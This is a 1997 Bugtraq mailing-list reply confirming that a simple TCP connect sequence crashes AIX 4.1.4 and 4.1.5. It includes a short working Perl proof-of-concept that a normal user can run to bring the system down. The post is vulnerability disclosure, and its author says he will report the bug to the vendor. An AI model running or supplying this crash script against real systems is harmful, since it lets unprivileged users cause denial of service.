[4128] in bugtraq
Re: Bug in connect() for aix 4.1.4 ?
daemon@ATHENA.MIT.EDU (Steve Campbell)
Wed Mar 5 13:49:47 1997
Date: Wed, 5 Mar 1997 12:36:14 -0500
Reply-To: Steve Campbell <sten@CYBERENET.NET>
From: Steve Campbell <sten@CYBERENET.NET>
To: BUGTRAQ@netspace.org
In-Reply-To: <Pine.SGI.3.91.970305130144.20974A-100000@email.archlab.tuwien.ac.at> from "Cahya Wirawan" at Mar 5,
97 01:23:54 pm
>
> Can someone tell me why this simple tcp program crashes aix 4.1.4 .
> I run this program as a normal user, and the second connect crashes aix.
> is it just connect's old bug from aix ? i have tried it in aix 3.2
> but it works only in 4.1.4.
>
< c code deleted >
It works for AIX 4.1.5 as well, both in c and in PERL. I'll raise a
problem with Call-AIX in the morning.
-------------------------------------------
#!/usr/local/bin/perl5
use Socket;
socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;
-------------------------------------------
Steve